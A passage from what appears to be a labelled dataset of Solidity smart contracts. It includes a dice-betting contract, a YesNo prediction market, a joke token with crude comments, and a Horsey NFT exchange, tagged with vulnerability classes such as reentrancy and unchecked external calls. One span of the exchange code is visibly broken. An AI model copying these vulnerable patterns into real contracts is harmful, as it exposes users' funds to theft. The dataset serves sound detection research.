""json(https://api.random.org/json-rpc/1/invoke).result.random.data.0"",""BKniCJx8z96RVCJ9FCMlku5t4lEAbCqQS2jF1W41eQLA10mPNC4RYGMkQfWcfvZKlOmpVVhMXiwa6a9ledKfelRiupoMeJxLo2mMapQpo9FY319mSyxFCm9YvW7iNy6Sy+tFDFWWRpTUKqm95GKj93us6eBMACXICmGk8ppy5AA7mmE//xYXnWrniVWtFSuizOy5SO5c4jC8Y9GHNoyBMUHHpbLEHbnzp5NcXEj8VUWvycqA1s24CFDaC4avZsENX8ruVtDKQfuHG2l/vZLY2p6RPaFOYVS6xMQiJ3qS/U0="", ORACLIZE_GAS_LIMIT + safeGas); bets[myid] = Bet(msg.sender, betValue, 0); betsKeys.push(myid); } else { throw; } } function __callback (bytes32 myid, string result, bytes proof) onlyOraclize onlyIfNotProcessed(myid) onlyIfValidRoll(myid, result) onlyIfBetSizeIsStillCorrect(myid) { Bet thisBet = bets[myid]; uint numberRolled = parseInt(result); bets[myid].numberRolled = numberRolled; isWinningBet(thisBet, numberRolled); isLosingBet(thisBet, numberRolled); amountWagered += thisBet.amountBetted; delete profitDistributed; } function isWinningBet(Bet thisBet, uint numberRolled) private onlyWinningBets(numberRolled) { uint winAmount = (thisBet.amountBetted * (10000 - edge)) / pwin; BetWon(thisBet.playerAddress, numberRolled, winAmount); safeSend(thisBet.playerAddress, winAmount); investorsLoses += (winAmount - thisBet.amountBetted); } function isLosingBet(Bet thisBet, uint numberRolled) private onlyLosingBets(numberRolled) { BetLost(thisBet.playerAddress, numberRolled); safeSend(thisBet.playerAddress, 1); investorsProfit += (thisBet.amountBetted - 1)*(10000 - houseEdge)/10000; uint houseProfit = (thisBet.amountBetted - 1)*(houseEdge)/10000; safeSend(houseAddress, houseProfit); } //SECTION III: INVEST & DIVEST function increaseInvestment() onlyIfNotStopped onlyMoreThanZero onlyInvestors { profitDistribution(); investors[investorIDs[msg.sender]].amountInvested += msg.value; invested += msg.value; } function newInvestor() onlyIfNotStopped onlyMoreThanZero onlyNotInvestors onlyMoreThanMinInvestment { profitDistribution(); if (numInvestors < maxInvestors) { numInvestors++; addInvestorAtID(numInvestors); } else { uint smallestInvestorID = searchSmallestInvestor(); divest(investors[smallestInvestorID].investorAddress); addInvestorAtID(smallestInvestorID); numInvestors++; } } function divest() onlyInvestors rejectValue { divest(msg.sender); } function divest(address currentInvestor) private onlyIfInvestorBalanceIsPositive(currentInvestor) { profitDistribution(); uint currentID = investorIDs[currentInvestor]; uint amountToReturn = getBalance(currentInvestor); invested -= investors[currentID].amountInvested; uint divestFeeAmount = (amountToReturn*divestFee)/10000; amountToReturn -= divestFeeAmount; //Clean up numInvestors--; delete investors[currentID]; delete investorIDs[currentInvestor]; safeSend(currentInvestor, amountToReturn); safeSend(houseAddress, divestFeeAmount); } function forceDivestOfAllInvestors() onlyOwner rejectValue { uint copyNumInvestors = numInvestors; for (uint investorID = 1; investorID <= copyNumInvestors; investorID++) { divest(investors[investorID].investorAddress); } } /* The owner can use this function to force the exit of an investor from the contract during an emergency withdrawal in the following situations: - Unresponsive investor - Investor demanding to be paid in other to vote, the facto-blackmailing other investors */ function forceDivestOfOneInvestor(address currentInvestor) onlyOwner onlyIfStopped rejectValue { divest(currentInvestor); //Resets emergency withdrawal proposal. Investors must vote again delete proposedWithdrawal; } //SECTION IV: CONTRACT MANAGEMENT function stopContract() onlyOwner rejectValue { isStopped = true; } function resumeContract() onlyOwner rejectValue { isStopped = false; } function changeHouseAddress(address newHouse) onlyOwner rejectValue { houseAddress = newHouse; } function changeOwnerAddress(address newOwner) onlyOwner rejectValue { owner = newOwner; } function changeGasLimitOfSafeSend(uint newGasLimit) onlyOwner onlyIfValidGas(newGasLimit) rejectValue { safeGas = newGasLimit; } //SECTION V: EMERGENCY WITHDRAWAL function voteEmergencyWithdrawal(bool vote) onlyInvestors onlyAfterProposed onlyIfStopped rejectValue { investors[investorIDs[msg.sender]].votedForEmergencyWithdrawal = vote; } function proposeEmergencyWithdrawal(address withdrawalAddress) onlyIfStopped onlyOwner rejectValue { //Resets previous votes for (uint i = 1; i <= numInvestors; i++) { delete investors[i].votedForEmergencyWithdrawal; } proposedWithdrawal = WithdrawalProposal(withdrawalAddress, now); EmergencyWithdrawalProposed(); } function executeEmergencyWithdrawal() onlyOwner onlyAfterProposed onlyIfStopped onlyIfEmergencyTimeOutHasPassed rejectValue { uint numOfVotesInFavour; uint amountToWithdrawal = this.balance; for (uint i = 1; i <= numInvestors; i++) { if (investors[i].votedForEmergencyWithdrawal == true) { numOfVotesInFavour++; delete investors[i].votedForEmergencyWithdrawal; } } if (numOfVotesInFavour >= emergencyWithdrawalRatio * numInvestors / 100) { if (!proposedWithdrawal.toAddress.send(this.balance)) { EmergencyWithdrawalFailed(proposedWithdrawal.toAddress); } else { EmergencyWithdrawalSucceeded(proposedWithdrawal.toAddress, amountToWithdrawal); } } else { throw; } } }",./Dataset/unchecked external call (UC),7,7 40299.sol,"//last compiled with soljson-v0.3.5-2016-07-21-6610add.js contract SafeMath { //internals function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) throw; } } contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { //if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ReserveToken is StandardToken, SafeMath { address public minter; function ReserveToken() { minter = msg.sender; } function create(address account, uint amount) { if (msg.sender != minter) throw; balances[account] = safeAdd(balances[account], amount); totalSupply = safeAdd(totalSupply, amount); } function destroy(address account, uint amount) { if (msg.sender != minter) throw; if (balances[account] < amount) throw; balances[account] = safeSub(balances[account], amount); totalSupply = safeSub(totalSupply, amount); } } contract YesNo is SafeMath { ReserveToken public yesToken; ReserveToken public noToken; //Reality Keys: bytes32 public factHash; address public ethAddr; string public url; uint public outcome; bool public resolved = false; address public feeAccount; uint public fee; //percentage of 1 ether event Create(address indexed account, uint value); event Redeem(address indexed account, uint value, uint yesTokens, uint noTokens); event Resolve(bool resolved, uint outcome); function() { throw; } function YesNo(bytes32 factHash_, address ethAddr_, string url_, address feeAccount_, uint fee_) { yesToken = new ReserveToken(); noToken = new ReserveToken(); factHash = factHash_; ethAddr = ethAddr_; url = url_; feeAccount = feeAccount_; fee = fee_; } function create() { //send X Ether, get X Yes tokens and X No tokens yesToken.create(msg.sender, msg.value); noToken.create(msg.sender, msg.value); Create(msg.sender, msg.value); } function redeem(uint tokens) { if (!feeAccount.call.value(safeMul(tokens,fee)/(1 ether))()) throw; if (!resolved) { yesToken.destroy(msg.sender, tokens); noToken.destroy(msg.sender, tokens); if (!msg.sender.call.value(safeMul(tokens,(1 ether)-fee)/(1 ether))()) throw; Redeem(msg.sender, tokens, tokens, tokens); } else if (resolved) { if (outcome==0) { //no noToken.destroy(msg.sender, tokens); if (!msg.sender.call.value(safeMul(tokens,(1 ether)-fee)/(1 ether))()) throw; Redeem(msg.sender, tokens, 0, tokens); } else if (outcome==1) { //yes yesToken.destroy(msg.sender, tokens); if (!msg.sender.call.value(safeMul(tokens,(1 ether)-fee)/(1 ether))()) throw; Redeem(msg.sender, tokens, tokens, 0); } } } function resolve(uint8 v, bytes32 r, bytes32 s, bytes32 value) { if (ecrecover(sha3(factHash, value), v, r, s) != ethAddr) throw; if (resolved) throw; uint valueInt = uint(value); if (valueInt==0 || valueInt==1) { outcome = valueInt; resolved = true; Resolve(resolved, outcome); } else { throw; } } }",./Dataset/reentrancy (RE)/,5,5 0x00e3ea0019005cba812824d95814d7133ed616b7_FinderHyper.sol,"pragma solidity ^0.4.8; contract ERC20Interface { function totalSupply() public constant returns (uint256 supply); function balance() public constant returns (uint256); function balanceOf(address _owner) public constant returns (uint256); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } // FinderHyper // YOU get a FinderHyper, and YOU get a FinderHyper, and YOU get a FinderHyper! contract FinderHyper is ERC20Interface { string public constant symbol = ""FH""; string public constant name = ""Finder Hyper""; uint8 public constant decimals = 2; uint256 _totalSupply = 0; uint256 _airdropAmount = 100 * 10 ** uint256(decimals); uint256 _cutoff = _airdropAmount * 10000; uint256 _outAmount = 0; mapping(address => uint256) balances; mapping(address => bool) initialized; // FinderHyper accepts request to tip-touch another FinderHyper mapping(address => mapping (address => uint256)) allowed; function FinderHyper() { initialized[msg.sender] = true; balances[msg.sender] = _airdropAmount * 19000000 - _cutoff; _totalSupply = balances[msg.sender]; } function totalSupply() constant returns (uint256 supply) { return _totalSupply; } // What's my girth? function balance() constant returns (uint256) { return getBalance(msg.sender); } // What is the length of a particular FinderHyper? function balanceOf(address _address) constant returns (uint256) { return getBalance(_address); } // Tenderly remove hand from FinderHyper and place on another FinderHyper function transfer(address _to, uint256 _amount) returns (bool success) { initialize(msg.sender); if (balances[msg.sender] >= _amount && _amount > 0) { initialize(_to); if (balances[_to] + _amount > balances[_to]) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } else { return false; } } // Perform the inevitable actions which cause release of that which each FinderHyper // is built to deliver. In EtherFinderHyperLand there are only FinderHyperes, so this // allows the transmission of one FinderHyper's payload (or partial payload but that // is not as much fun) INTO another FinderHyper. This causes the FinderHyperae to change // form such that all may see the glory they each represent. Erections. function transferFrom(address _from, address _to, uint256 _amount) returns (bool success) { initialize(_from); if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0) { initialize(_to); if (balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } else { return false; } } // Allow splooger to cause a payload release from your FinderHyper, multiple times, up to // the point at which no further release is possible.. function approve(address _spender, uint256 _amount) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } // internal privats function initialize(address _address) internal returns (bool success) { if (_outAmount < _cutoff && !initialized[_address]) { initialized[_address] = true; balances[_address] = _airdropAmount; _outAmount += _airdropAmount; _totalSupply += _airdropAmount; } return true; } function getBalance(address _address) internal returns (uint256) { if (_outAmount < _cutoff && !initialized[_address]) { return balances[_address] + _airdropAmount; } else { return balances[_address]; } } function getOutAmount()constant returns(uint256 amount){ return _outAmount; } }",Safe,8,8 137.sol,"pragma solidity ^0.4.24; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract ERC721Receiver { bytes4 internal constant ERC721_RECEIVED = 0x150b7a02; function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } contract ERC721Holder is ERC721Receiver { function onERC721Received( address, address, uint256, bytes ) public returns(bytes4) { return ERC721_RECEIVED; } } contract ERC721Basic { function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function transferFrom(address _from, address _to, uint256 _tokenId) public; } contract HorseyExchange is Pausable, ERC721Holder { event HorseyDeposit(uint256 tokenId, uint256 price); event SaleCanceled(uint256 tokenId); event HorseyPurchased(uint256 tokenId, address newOwner, uint256 totalToPay); uint256 public marketMakerFee = 3; uint256 collectedFees = 0; ERC721Basic public token; struct SaleData { uint256 price; address owner; } mapping (uint256 => SaleData) market; mapping (address => uint256[]) userBarn; constructor() Pausable() ERC721Holder() public { } function setStables(address _token) external onlyOwner() { require(address(_token) != 0,""Address of token is zero""); token = ERC721Basic(_token); } function setMarketFees(uint256 fees) external onlyOwner() { marketMakerFee = fees; } function getTokensOnSale(address user) external view returns(uint256[]) { return userBarn[user]; } function getTokenPrice(uint256 tokenId) public view isOnMarket(tokenId) returns (uint256) { return market[tokenId].price + (market[tokenId].price / 100 * marketMakerFee); } function depositToExchange(uint256 tokenId, uint256 price) external whenNotPaused() isTokenOwner(tokenId) nonZeroPrice(price) tokenAvailable() { require(token.getApproved(tokenId) == address(this),""Exchange is not allowed to transfer""); token.transferFrom(msg.sender, address(this), tokenId); market[tokenId] = SaleData(price,msg.sender); userBarn[msg.sender].push(tokenId); emit HorseyDeposit(tokenId, price); } function cancelSale(uint256 tokenId) external whenNotPaused() originalOwnerOf(tokenId) tokenAvailable() returns (bool) { token.transferFrom(address(this),msg.sender,tokenId); delete market[tokenId]; _removeTokenFromBarn(tokenId, msg.sender); emit SaleCanceled(tokenId); return userBarn[msg.sender].length > 0; } function purchaseToken(uint256 tokenId) external payable whenNotPaused() isOnMarket(tokenId) tokenAvailable() notOriginalOwnerOf(tokenId) { uint256 totalToPay = getTokenPrice(tokenId); require(msg.value >= totalToPay, ""Not paying enough""); SaleData memory sale = market[tokenId]; collectedFees += totalToPay - sale.price; sale.owner.transfer(sale.price); _removeTokenFromBarn(tokenId, sale.owner); delete market[tokenId]; token.transferFrom(address(this), msg.sender, tokenId); if(msg.value > totalToPay) { msg.sender.transfer(msg.value - totalToPay); } emit HorseyPurchased(tokenId, msg.sender, totalToPay); } function withdraw() external onlyOwner() { assert(collectedFees <= address(this).balance); owner.transfer(collectedFees); collectedFees = 0; } function _removeTokenFromBarn(uint tokenId, address barnAddress) internal { uint256[] storage barnArray = userBarn[barnAddress]; require(barnArray.length > 0,""No tokens to remove""); int index = _indexOf(tokenId, barnArray); require(index >= 0, ""Token not found in barn""); for (uint256 i = uint256(index); i 0,""Price is zero""); _; } modifier tokenAvailable(){ require(address(token) != 0,""Token address not set""); _; } } contract EthorseRace { struct chronus_info { bool betting_open; bool race_start; bool race_end; bool voided_bet; uint32 starting_time; uint32 betting_duration; uint32 race_duration; uint32 voided_timestamp; } address public owner; chronus_info public chronus; mapping (bytes32 => bool) public winner_horse; function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint); } contract EthorseHelpers { bytes32[] public all_horses = [bytes32(""BTC""),bytes32(""ETH""),bytes32(""LTC"")]; mapping(address => bool) public legitRaces; bool onlyLegit = false; function _addHorse(bytes32 newHorse) internal { all_horses.push(newHorse); } function _addLegitRace(address newRace) internal { legitRaces[newRace] = true; if(!onlyLegit) onlyLegit = true; } function getall_horsesCount() public view returns(uint) { return all_horses.length; } function _isWinnerOf(address raceAddress, address eth_address) internal view returns (bool,bytes32) { EthorseRace race = EthorseRace(raceAddress); if(onlyLegit) require(legitRaces[raceAddress],""not legit race""); bool voided_bet; bool race_end; (,,race_end,voided_bet,,,,) = race.chronus(); if(voided_bet || !race_end) return (false,bytes32(0)); bytes32 horse; bool found = false; uint256 arrayLength = all_horses.length; for(uint256 i = 0; i < arrayLength; i++) { if(race.winner_horse(all_horses[i])) { horse = all_horses[i]; found = true; break; } } if(!found) return (false,bytes32(0)); uint256 bet_amount = 0; (,,,, bet_amount) = race.getCoinIndex(horse, eth_address); return (bet_amount > 0, horse); } } contract RoyalStablesInterface { struct Horsey { address race; bytes32 dna; uint8 feedingCounter; uint8 tier; } mapping(uint256 => Horsey) public horseys; mapping(address => uint32) public carrot_credits; mapping(uint256 => string) public names; address public master; function getOwnedTokens(address eth_address) public view returns (uint256[]); function storeName(uint256 tokenId, string newName) public; function storeCarrotsCredit(address client, uint32 amount) public; function storeHorsey(address client, uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; function modifyHorsey(uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; function modifyHorseyDna(uint256 tokenId, bytes32 dna) public; function modifyHorseyFeedingCounter(uint256 tokenId, uint8 feedingCounter) public; function modifyHorseyTier(uint256 tokenId, uint8 tier) public; function unstoreHorsey(uint256 tokenId) public; function ownerOf(uint256 tokenId) public returns (address); } contract HorseyToken is EthorseHelpers,Pausable { event Claimed(address raceAddress, address eth_address, uint256 tokenId); event Feeding(uint256 tokenId); event ReceivedCarrot(uint256 tokenId, bytes32 newDna); event FeedingFailed(uint256 tokenId); event HorseyRenamed(uint256 tokenId, string newName); event HorseyFreed(uint256 tokenId); RoyalStablesInterface public stables; uint8 public carrotsMultiplier = 1; uint8 public rarityMultiplier = 1; uint256 public claimingFee = 0.000 ether; struct FeedingData { uint256 blockNumber; uint256 horsey; } mapping(address => FeedingData) public pendingFeedings; uint256 public renamingCostsPerChar = 0.001 ether; constructor(address stablesAddress) EthorseHelpers() Pausable() public { stables = RoyalStablesInterface(stablesAddress); } function setRarityMultiplier(uint8 newRarityMultiplier) external onlyOwner() { rarityMultiplier = newRarityMultiplier; } function setCarrotsMultiplier(uint8 newCarrotsMultiplier) external onlyOwner() { carrotsMultiplier = newCarrotsMultiplier; } function setRenamingCosts(uint256 newRenamingCost) external onlyOwner() { renamingCostsPerChar = newRenamingCost; } function setClaimingCosts(uint256 newClaimingFee) external onlyOwner() { claimingFee = newClaimingFee; } function addLegitRaceAddress(address newAddress) external onlyOwner() { _addLegitRace(newAddress); } function withdraw() external onlyOwner() { owner.transfer(address(this).balance); } function addHorseIndex(bytes32 newHorse) external onlyOwner() { _addHorse(newHorse); } function getOwnedTokens(address eth_address) public view returns (uint256[]) { return stables.getOwnedTokens(eth_address); } function can_claim(address raceAddress, address eth_address) public view returns (bool) { bool res; (res,) = _isWinnerOf(raceAddress, eth_address); return res; } function claim(address raceAddress) external payable costs(claimingFee) whenNotPaused() { bytes32 winner; bool res; (res,winner) = _isWinnerOf(raceAddress, msg.sender); require(winner != bytes32(0),""Winner is zero""); require(res,""can_claim return false""); uint256 id = _generate_special_horsey(raceAddress, msg.sender, winner); emit Claimed(raceAddress, msg.sender, id); } function renameHorsey(uint256 tokenId, string newName) external whenNotPaused() onlyOwnerOf(tokenId) costs(renamingCostsPerChar * bytes(newName).length) payable { uint256 renamingFee = renamingCostsPerChar * bytes(newName).length; if(msg.value > renamingFee) { msg.sender.transfer(msg.value - renamingFee); } stables.storeName(tokenId,newName); emit HorseyRenamed(tokenId,newName); } function freeForCarrots(uint256 tokenId) external whenNotPaused() onlyOwnerOf(tokenId) { require(pendingFeedings[msg.sender].horsey != tokenId,""""); uint8 feedingCounter; (,,feedingCounter,) = stables.horseys(tokenId); stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) + uint32(feedingCounter * carrotsMultiplier)); stables.unstoreHorsey(tokenId); emit HorseyFreed(tokenId); } function getCarrotCredits() external view returns (uint32) { return stables.carrot_credits(msg.sender); } function getHorsey(uint256 tokenId) public view returns (address, bytes32, uint8, string) { RoyalStablesInterface.Horsey memory temp; (temp.race,temp.dna,temp.feedingCounter,temp.tier) = stables.horseys(tokenId); return (temp.race,temp.dna,temp.feedingCounter,stables.names(tokenId)); } function feed(uint256 tokenId) external whenNotPaused() onlyOwnerOf(tokenId) carrotsMeetLevel(tokenId) noFeedingInProgress() { pendingFeedings[msg.sender] = FeedingData(block.number,tokenId); uint8 feedingCounter; (,,feedingCounter,) = stables.horseys(tokenId); stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) - uint32(feedingCounter)); emit Feeding(tokenId); } function stopFeeding() external feedingInProgress() returns (bool) { uint256 blockNumber = pendingFeedings[msg.sender].blockNumber; uint256 tokenId = pendingFeedings[msg.sender].horsey; require(block.number - blockNumber >= 1,""feeding and stop feeding are in same block""); delete pendingFeedings[msg.sender]; if(block.number - blockNumber > 255) { emit FeedingFailed(tokenId); return false; } if(stables.ownerOf(tokenId) != msg.sender) { emit FeedingFailed(tokenId); return false; } _feed(tokenId, blockhash(blockNumber)); bytes32 dna; (,dna,,) = stables.horseys(tokenId); emit ReceivedCarrot(tokenId, dna); return true; } function() external payable { revert(""Not accepting donations""); } function _feed(uint256 tokenId, bytes32 blockHash) internal { uint8 tier; uint8 feedingCounter; (,,feedingCounter,tier) = stables.horseys(tokenId); uint256 probabilityByRarity = 10 ** uint256(tier + 1); uint256 randNum = uint256(keccak256(abi.encodePacked(tokenId, blockHash))) % probabilityByRarity; if(randNum <= (feedingCounter * rarityMultiplier)){ _increaseRarity(tokenId, blockHash); } if(feedingCounter < 255) { stables.modifyHorseyFeedingCounter(tokenId,feedingCounter+1); } } function _makeSpecialId(address race, address sender, bytes32 coinIndex) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(race, sender, coinIndex))); } function _generate_special_horsey(address race, address eth_address, bytes32 coinIndex) internal returns (uint256) { uint256 id = _makeSpecialId(race, eth_address, coinIndex); bytes32 dna = _shiftRight(keccak256(abi.encodePacked(race, coinIndex)),16); stables.storeHorsey(eth_address,id,race,dna,1,0); return id; } function _increaseRarity(uint256 tokenId, bytes32 blockHash) private { uint8 tier; bytes32 dna; (,dna,,tier) = stables.horseys(tokenId); if(tier < 254) stables.modifyHorseyTier(tokenId,tier+1); uint256 random = uint256(keccak256(abi.encodePacked(tokenId, blockHash))); bytes32 rarityMask = _shiftLeft(bytes32(1), (random % 16 + 240)); bytes32 newdna = dna | rarityMask; stables.modifyHorseyDna(tokenId,newdna); } function _shiftLeft(bytes32 data, uint n) internal pure returns (bytes32) { return bytes32(uint256(data)*(2 ** n)); } function _shiftRight(bytes32 data, uint n) internal pure returns (bytes32) { return bytes32(uint256(data)/(2 ** n)); } modifier carrotsMeetLevel(uint256 tokenId){ uint256 feedingCounter; (,,feedingCounter,) = stables.horseys(tokenId); require(feedingCounter <= stables.carrot_credits(msg.sender),""Not enough carrots""); _; } modifier costs(uint256 amount) { require(msg.value >= amount,""Not enough funds""); _; } modifier validAddress(address addr) { require(addr != address(0),""Address is zero""); _; } modifier noFeedingInProgress() { require(pendingFeedings[msg.sender].blockNumber == 0,""Already feeding""); _; } modifier feedingInProgress() { require(pendingFeedings[msg.sender].blockNumber != 0,""No pending feeding""); _; } modifier onlyOwnerOf(uint256 tokenId) { require(stables.ownerOf(tokenId) == msg.sender, ""Caller is not owner of this token""); _; } } contract HorseyPilot { event NewProposal(uint8 methodId, uint parameter, address proposer); event ProposalPassed(uint8 methodId, uint parameter, address proposer); uint8 constant votingThreshold = 2; uint256 constant proposalLife = 7 days; uint256 constant proposalCooldown = 1 days; uint256 cooldownStart; address public jokerAddress; address public knightAddress; address public paladinAddress; address[3] public voters; uint8 constant public knightEquity = 40; uint8 constant public paladinEquity = 10; address public exchangeAddress; address public tokenAddress; mapping(address => uint) internal _cBalance; struct Proposal{ address proposer; uint256 timestamp; uint256 parameter; uint8 methodId; address[] yay; address[] nay; } Proposal public currentProposal; bool public proposalInProgress = false; uint256 public toBeDistributed; bool deployed = false; constructor( address _jokerAddress, address _knightAddress, address _paladinAddress, address[3] _voters ) public { jokerAddress = _jokerAddress; knightAddress = _knightAddress; paladinAddress = _paladinAddress; for(uint i = 0; i < 3; i++) { voters[i] = _voters[i]; } cooldownStart = block.timestamp - proposalCooldown; } function deployChildren(address stablesAddress) external { require(!deployed,""already deployed""); exchangeAddress = new HorseyExchange(); tokenAddress = new HorseyToken(stablesAddress); HorseyExchange(exchangeAddress).setStables(stablesAddress); deployed = true; } function transferJokerOwnership(address newJoker) external validAddress(newJoker) { require(jokerAddress == msg.sender,""Not right role""); _moveBalance(newJoker); jokerAddress = newJoker; } function transferKnightOwnership(address newKnight) external validAddress(newKnight) { require(knightAddress == msg.sender,""Not right role""); _moveBalance(newKnight); knightAddress = newKnight; } function transferPaladinOwnership(address newPaladin) external validAddress(newPaladin) { require(paladinAddress == msg.sender,""Not right role""); _moveBalance(newPaladin); paladinAddress = newPaladin; } function withdrawCeo(address destination) external onlyCLevelAccess() validAddress(destination) { if(toBeDistributed > 0){ _updateDistribution(); } uint256 balance = _cBalance[msg.sender]; if(balance > 0 && (address(this).balance >= balance)) { destination.transfer(balance); _cBalance[msg.sender] = 0; } } function syncFunds() external { uint256 prevBalance = address(this).balance; HorseyToken(tokenAddress).withdraw(); HorseyExchange(exchangeAddress).withdraw(); uint256 newBalance = address(this).balance; toBeDistributed = toBeDistributed + (newBalance - prevBalance); } function getNobleBalance() external view onlyCLevelAccess() returns (uint256) { return _cBalance[msg.sender]; } function makeProposal( uint8 methodId, uint256 parameter ) external onlyCLevelAccess() proposalAvailable() cooledDown() { currentProposal.timestamp = block.timestamp; currentProposal.parameter = parameter; currentProposal.methodId = methodId; currentProposal.proposer = msg.sender; delete currentProposal.yay; delete currentProposal.nay; proposalInProgress = true; emit NewProposal(methodId,parameter,msg.sender); } function voteOnProposal(bool voteFor) external proposalPending() onlyVoters() notVoted() { require((block.timestamp - currentProposal.timestamp) <= proposalLife); if(voteFor) { currentProposal.yay.push(msg.sender); if( currentProposal.yay.length >= votingThreshold ) { _doProposal(); proposalInProgress = false; return; } } else { currentProposal.nay.push(msg.sender); if( currentProposal.nay.length >= votingThreshold ) { proposalInProgress = false; cooldownStart = block.timestamp; return; } } } function _moveBalance(address newAddress) internal validAddress(newAddress) { require(newAddress != msg.sender); _cBalance[newAddress] = _cBalance[msg.sender]; _cBalance[msg.sender] = 0; } function _updateDistribution() internal { require(toBeDistributed != 0,""nothing to distribute""); uint256 knightPayday = toBeDistributed / 100 * knightEquity; uint256 paladinPayday = toBeDistributed / 100 * paladinEquity; uint256 jokerPayday = toBeDistributed - knightPayday - paladinPayday; _cBalance[jokerAddress] = _cBalance[jokerAddress] + jokerPayday; _cBalance[knightAddress] = _cBalance[knightAddress] + knightPayday; _cBalance[paladinAddress] = _cBalance[paladinAddress] + paladinPayday; toBeDistributed = 0; } function _doProposal() internal { if( currentProposal.methodId == 0 ) HorseyToken(tokenAddress).setRenamingCosts(currentProposal.parameter); if( currentProposal.methodId == 1 ) HorseyExchange(exchangeAddress).setMarketFees(currentProposal.parameter); if( currentProposal.methodId == 2 ) HorseyToken(tokenAddress).addLegitRaceAddress(address(currentProposal.parameter)); if( currentProposal.methodId == 3 ) HorseyToken(tokenAddress).addHorseIndex(bytes32(currentProposal.parameter)); if( currentProposal.methodId == 4 ) { if(currentProposal.parameter == 0) { HorseyExchange(exchangeAddress).unpause(); HorseyToken(tokenAddress).unpause(); } else { HorseyExchange(exchangeAddress).pause(); HorseyToken(tokenAddress).pause(); } } if( currentProposal.methodId == 5 ) HorseyToken(tokenAddress).setClaimingCosts(currentProposal.parameter); if( currentProposal.methodId == 8 ){ HorseyToken(tokenAddress).setCarrotsMultiplier(uint8(currentProposal.parameter)); } if( currentProposal.methodId == 9 ){ HorseyToken(tokenAddress).setRarityMultiplier(uint8(currentProposal.parameter)); } emit 